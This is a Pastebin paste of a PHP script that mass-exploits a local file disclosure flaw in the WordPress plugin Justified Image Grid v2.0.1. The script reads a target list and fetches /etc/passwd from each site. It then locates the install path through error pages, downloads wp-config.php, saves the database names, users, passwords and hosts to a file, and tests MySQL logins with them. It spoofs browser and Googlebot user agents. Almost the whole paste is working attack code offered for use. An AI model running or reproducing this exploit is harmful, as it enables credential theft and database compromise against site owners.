inj3ctor_m4

Wordpress plugin Justified Image Grid v2.0.1 LFD Exploiter

Feb 8th, 2015
641
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.12 KB | None | 0 0
  1. <?php
  2. #Wordpress plugin Justified Image Grid v2.0.1 LFD
  3. #Author     : Null Pointer
  4. #Exploit    : INJ3CTOR_M4
  5.  
  6. set_time_limit(0);
  7.  
  8.  
  9. $opt = getopt('l:');
  10. $exploit = '/wp-content/plugins/justified-image-grid/download.php?file=file://';
  11.  
  12. echo"\n\n\t\t[*] M4 LFD WORDPRESS EXPLOITER [*]\n\n";
  13.  
  14. if(isset($opt['l'])){
  15.     $list = $opt['l'];
  16.     $urls = list_get_contents($list);
  17.     foreach($urls as $url){
  18.         $url = rtrim($url, '/');
  19.         $ch = curl_init();
  20.         echo"Target => {$url}\r\n";
  21.         echo"\tSent Payload.\r\n";
  22.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  23.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  24.         curl_setopt($ch, CURLOPT_URL, $url . $exploit . "/etc/passwd");
  25.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  26.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)");
  27.         curl_setopt($ch, CURLOPT_ENCODING, 0);
  28.         curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  29.         $data = curl_exec($ch);
  30.         curl_close($ch);
  31.        
  32.         if(preg_match('/daemon|root/i', $data)){
  33.             echo"\t$url Vulnerable!\r\n";
  34.             $f = fopen('passwds.txt', 'ab');
  35.             fwrite($f, "Target => {$url}\n\n{$data}\n\n\n");
  36.             fclose($f);
  37.             echo"\t/etc/passwd Saved!\r\n";
  38.             $home = get_home_path($url);
  39.             if($home != false){
  40.                 $ch = curl_init();
  41.                 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  42.                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  43.                 curl_setopt($ch, CURLOPT_URL, $url . $exploit . $home . "/wp-config.php");
  44.                 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  45.                 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)");
  46.                 curl_setopt($ch, CURLOPT_ENCODING, 0);
  47.                 curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  48.                 $data = curl_exec($ch);
  49.                 curl_close($ch);
  50.                
  51.                 if(preg_match("#DB_USER#i", $data)){
  52.                     $f = fopen('configs.txt', 'ab');
  53.                     preg_match("#'DB_NAME', '(.*?)'#i", $data, $DB_NAME);
  54.                     preg_match("#'DB_USER', '(.*?)'#i", $data, $DB_USER);
  55.                     preg_match("#'DB_PASSWORD', '(.*?)'#i", $data, $DB_PASSWORD);
  56.                     preg_match("#'DB_HOST', '(.*?)'#i", $data, $DB_HOST);
  57.                     fwrite($f, "Target => {$url}\r\nDB: {$DB_NAME[1]}\r\nUSER: {$DB_USER[1]}\r\nPASS: {$DB_PASSWORD[1]}\r\nHOST: {$DB_HOST[1]}\n\n\n");
  58.                     fclose($f);
  59.                     echo"\tconfig Information Saved!\r\n";
  60.                     echo"\tMysql_Connect: ";
  61.                     if( @mysql_connect($DB_HOST[1],$DB_USER[1],$DB_PASSWORD[1])){
  62.                         echo"OK!\n\n";
  63.                     }else{
  64.                         echo"ERROR!\n\n";
  65.                     }
  66.                 }else{
  67.                     echo"\tCan't Find Configuration File\n\n";
  68.                 }
  69.             }else{
  70.                 echo"\tCan't Find The Home Path\n\n";
  71.             }
  72.         }else{
  73.             echo"\t$url Not Vulnerable!\n\n";
  74.         }
  75.     }
  76. }
  77.  
  78. function list_get_contents($file){
  79.     if(file_exists($file)){
  80.         $data = file($file);
  81.         return array_unique(array_map("trim", $data));
  82.     }
  83. }
  84.  
  85. function get_home_path($url){
  86.     $exploit = array('/wp-settings.php', '/wp-includes/registration-functions.php');
  87.     $ch = curl_init();
  88.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  89.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  90.     curl_setopt($ch, CURLOPT_URL, $url . $exploit[0]);
  91.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  92.     curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
  93.     curl_setopt($ch, CURLOPT_ENCODING, 0);
  94.     curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  95.     $data = curl_exec($ch);
  96.     curl_close($ch);
  97.    
  98.     if(preg_match_all("#<b>(.*?)</b>#", $data, $path)){
  99.         $path = str_replace('/wp-settings.php', '', $path[1][1]);
  100.         return $path;
  101.     }else{
  102.         $ch = curl_init();
  103.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  104.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  105.         curl_setopt($ch, CURLOPT_URL, $url . $exploit[1]);
  106.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  107.         curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
  108.         curl_setopt($ch, CURLOPT_ENCODING, 0);
  109.         curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  110.         $data = curl_exec($ch);
  111.         curl_close($ch);
  112.        
  113.         if(preg_match_all("#<b>(.*?)</b>#", $data, $path)){
  114.             $path = str_replace('/wp-includes/registration-functions.php', '', $path[1][1]);
  115.             return $path;
  116.         }else{
  117.             return false;
  118.         }
  119.     }
  120. }
Advertisement
Add Comment
Please, Sign In to add comment